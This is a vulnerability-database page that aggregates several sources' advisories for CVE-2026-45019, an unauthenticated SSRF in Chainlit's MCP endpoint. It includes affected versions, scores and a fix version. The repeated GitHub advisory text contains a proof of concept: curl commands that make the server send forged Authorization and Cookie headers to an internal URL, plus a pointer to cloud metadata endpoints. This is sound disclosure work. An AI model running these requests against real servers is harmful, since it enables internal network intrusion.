Every CVE Search/ Get API key

CVE-2026-45019

Chainlit: SSRF via MCP SSE and streamable-http transports allows unauthenticated internal network access

7.2 HighFix available

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http transports, ConnectSseMCPRequest and ConnectStreamableHttpMCPRequest in backend/chainlit/types.py accept a user-controlled url and optional headers dictionary without scheme validation, private-address filtering, or an allowlist. The connect_mcp handler in backend/chainlit/server.py passes these values to sse_client() or streamablehttp_client(), allowing the Chainlit server to make blind outbound requests to arbitrary internal or external services, including cloud metadata endpoints, with attacker-controlled Authorization and Cookie headers. The SSE URL sink has existed since 2.4.0rc0, while attacker-controlled header forwarding and streamable-http support were added in 2.6.4. The response is consumed internally and not returned, but the attacker can issue state-changing authenticated requests, discover internal services, scan ports, and probe metadata endpoints. This issue is fixed in version 2.12.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.43%Up 0.1 points since Aug 26, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

Chainlit: SSRF via MCP SSE and streamable-http transports allows unauthenticated internal network access

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http transports, ConnectSseMCPRequest and ConnectStreamableHttpMCPRequest in backend/chainlit/types.py accept a user-controlled url and optional headers dictionary without scheme validation, private-address filtering, or an allowlist. The connect_mcp handler in backend/chainlit/server.py passes these values to sse_client() or streamablehttp_client(), allowing the Chainlit server to make blind outbound requests to arbitrary internal or external services, including cloud metadata endpoints, with attacker-controlled Authorization and Cookie headers. The SSE URL sink has existed since 2.4.0rc0, while attacker-controlled header forwarding and streamable-http support were added in 2.6.4. The response is consumed internally and not returned, but the attacker can issue state-changing authenticated requests, discover internal services, scan ports, and probe metadata endpoints. This issue is fixed in version 2.12.0.

Record
CVE-2026-45019
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-65738 7.2

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http transports, ConnectSseMCPRequest and ConnectStreamableHttpMCPRequest in backend/chainlit/types.py accept a user-controlled url and optional headers dictionary without scheme validation, private-address filtering, or an allowlist. The connect_mcp handler in backend/chainlit/server.py passes these values to sse_client() or streamablehttp_client(), allowing the Chainlit server to make blind outbound requests to arbitrary internal or external services, including cloud metadata endpoints, with attacker-controlled Authorization and Cookie headers. The SSE URL sink has existed since 2.4.0rc0, while attacker-controlled header forwarding and streamable-http support were added in 2.6.4. The response is consumed internally and not returned, but the attacker can issue state-changing authenticated requests, discover internal services, scan ports, and probe metadata endpoints. This issue is fixed in version 2.12.0.

Record
EUVD-2026-65738
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-hvfh-5mj3-5f3j 7.2

Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

  1. Start a listener to capture the server-side request:
nc -l 4445
  1. Establish a Socket.IO session and trigger the SSRF:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'
  1. The listener captures the server-side request with all attacker-controlled headers:
POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue **state-changing,…

Record
GHSA-hvfh-5mj3-5f3j
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 7.2

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http transports, ConnectSseMCPRequest and ConnectStreamableHttpMCPRequest in backend/chainlit/types.py accept a user-controlled url and optional headers dictionary without scheme validation, private-address filtering, or an allowlist. The connect_mcp handler in backend/chainlit/server.py passes these values to sse_client() or streamablehttp_client(), allowing the Chainlit server to make blind outbound requests to arbitrary internal or external services, including cloud metadata endpoints, with attacker-controlled Authorization and Cookie headers. The SSE URL sink has existed since 2.4.0rc0, while attacker-controlled header forwarding and streamable-http support were added in 2.6.4. The response is consumed internally and not returned, but the attacker can issue state-changing authenticated requests, discover internal services, scan ports, and probe metadata endpoints. This issue is fixed in version 2.12.0.

Record
CVE-2026-45019
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVCVE-2026-120492 6.3

Chainlit 2.12.0 SSRF via Semicolon Path Segment in MCP allowed_urls

Chainlit 2.12.0 contains a server-side request forgery vulnerability that allows unauthenticated attackers to bypass path-scoped MCP allowed_urls entries because validate_mcp_url does not reject the semicolon character. Attackers can submit MCP URLs with '..;' segments to the /mcp endpoint, causing requests to paths outside the operator's grant on origins that strip semicolon path parameters.

Record
CVE-2026-120492
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-918
Updated
2026-11-04
OSV 7.2

Chainlit: SSRF via MCP SSE and streamable-http transports allows unauthenticated internal network access

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http transports, ConnectSseMCPRequest and ConnectStreamableHttpMCPRequest in backend/chainlit/types.py accept a user-controlled url and optional headers dictionary without scheme validation, private-address filtering, or an allowlist. The connect_mcp handler in backend/chainlit/server.py passes these values to sse_client() or streamablehttp_client(), allowing the Chainlit server to make blind outbound requests to arbitrary internal or external services, including cloud metadata endpoints, with attacker-controlled Authorization and Cookie headers. The SSE URL sink has existed since 2.4.0rc0, while attacker-controlled header forwarding and streamable-http support were added in 2.6.4. The response is consumed internally and not returned, but the attacker can issue state-changing authenticated requests, discover internal services, scan ports, and probe metadata endpoints. This issue is fixed in version 2.12.0.

Record
CVE-2026-45019
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-03
OSVGHSA-hvfh-5mj3-5f3j 7.2

Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

  1. Start a listener to capture the server-side request:
nc -l 4445
  1. Establish a Socket.IO session and trigger the SSRF:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'
  1. The listener captures the server-side request with all attacker-controlled headers:
POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue **state-changing,…

Record
GHSA-hvfh-5mj3-5f3j
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-03
OSVPYSEC-2026-3811 7.2

Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

  1. Start a listener to capture the server-side request:
nc -l 4445
  1. Establish a Socket.IO session and trigger the SSRF:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'
  1. The listener captures the server-side request with all attacker-controlled headers:
POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue **state-changing,…

Record
PYSEC-2026-3811
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Updated
2026-11-03

Affected products

Affected packages

Affected packages
PackageAffectedFixed
chainlit
PyPI
2.4.0rc0 to 2.11.1
2.12.0
chainlit
PyPI
2.4.0rc0 up to 2.12.0, plus listed versions
2.10.02.10.12.11.02.11.12.4.0
Show 35 moreShow less
2.4.12.4.22.4.2012.4.32.4.3012.4.3022.4.4002.5.52.6.02.6.12.6.22.6.32.6.42.6.52.6.62.6.72.6.82.6.92.7.02.7.12.7.1.12.7.22.8.02.8.12.8.22.8.32.8.42.8.52.9.02.9.12.9.22.9.32.9.42.9.52.9.6
2.12.0

History

History
RecordedChangedSources
facts, referencesOSV
referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-45019 is a high vulnerability (CVSS 7.2) in Chainlit, published August 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in chainlit 2.12.0.

References

Show 7 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open